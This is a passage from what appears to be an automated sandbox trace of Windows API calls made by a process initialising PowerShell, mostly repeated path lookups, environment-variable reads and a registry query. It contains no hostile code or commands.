NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be8a8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be8a8) returned 0x1 [0151.935] GetLastError () returned 0xcb [0151.936] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be8b0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be8b0) returned 1 [0151.939] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2de0718*="Available", lpRawData=0x2de05d4) returned 1 [0151.940] GetLastError () returned 0x0 [0151.942] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.942] GetLastError () returned 0xcb [0151.943] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.943] GetLastError () returned 0xcb [0151.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be388, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.965] GetLastError () returned 0xcb [0151.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.965] GetLastError () returned 0xcb [0151.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.965] GetLastError () returned 0xcb [0151.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.974] GetLastError () returned 0xcb [0151.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.974] GetLastError () returned 0xcb [0151.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.974] GetLastError () returned 0xcb [0151.974] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0151.974] GetLastError () returned 0xcb [0151.975] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0151.975] GetLastError () returned 0xcb [0151.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.975] GetLastError () returned 0xcb [0151.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.975] GetLastError () returned 0xcb [0151.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.976] GetLastError () returned 0xcb [0151.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.976] GetLastError () returned 0xcb [0151.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.976] GetLastError () returned 0xcb [0151.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.976] GetLastError () returned 0xcb [0151.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.977] GetLastError () returned 0xcb [0151.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.977] GetLastError () returned 0xcb [0151.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.977] GetLastError () returned 0xcb [0151.977] GetCurrentProcessId () returned 0x244 [0151.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.977] GetLastError () returned 0xcb [0151.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.977] GetLastError () returned 0xcb [0151.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.978] GetLastError () returned 0xcb [0151.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be318, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.979] GetLastError () returned 0xcb [0151.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.979] GetLastError () returned 0xcb [0151.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.979] GetLastError () returned 0xcb [0151.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be318, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.980] GetLastError () returned 0xcb [0151.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.980] GetLastError () returned 0xcb [0151.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.981] GetLastError () returned 0xcb [0151.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.981] GetLastError () returned 0xcb [0151.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.981] GetLastError () returned 0xcb [0151.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.981] GetLastError () returned 0xcb [0151.982] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be83c | out: phkResult=0x2be83c*=0x3c0) returned 0x0 [0151.982] RegQueryValueExW (in: hKey=0x3c0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be884, lpData=0x0, lpcbData=0x2be880*=0x0 | out: lpType=0x2be884*=0x1, lpData=0x0, lpcbData=0x2be880*=0x56) returned 0x0 [0151.983] RegQueryValueExW (in: hKey=0x3c0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be884, lpData=0x67b350, lpcbData=0x2be880*=0x56 | out: lpType=0x2be884*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be880*=0x56) returned 0x0 [0151.984] RegCloseKey (hKey=0x3c0) returned 0x0 [0151.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.984] GetLastError () returned 0xcb [0151.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.984] GetLastError () returned 0xcb [0151.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.985] GetLastError () returned 0xcb [0151.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.986] GetLastError () returned 0xcb [0151.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.986] GetLastError () returned 0xcb [0151.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be2c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.986] GetLastError () returned 0xcb [0152.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.016] GetLastError () returned 0xcb [0152.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.016] GetLastError () returned 0xcb [0152.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.016] GetLastError () returned 0xcb [0152.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.017] GetLastError () returned 0xcb [0152.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.017] GetLastError () returned 0xcb [0152.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.017] GetLastError () returned 0xcb [0152.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.018] GetLastError () returned 0xcb [0152.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.018] GetLastError () returned 0xcb [0152.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.018] GetLastError () returned 0xcb [0152.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.018] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.019] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.020] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.020] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.020] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.020] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.020] GetLastError () returned 0xcb [0152.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0152.021] GetLastError () returned 0xcb [0152.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd9a0, 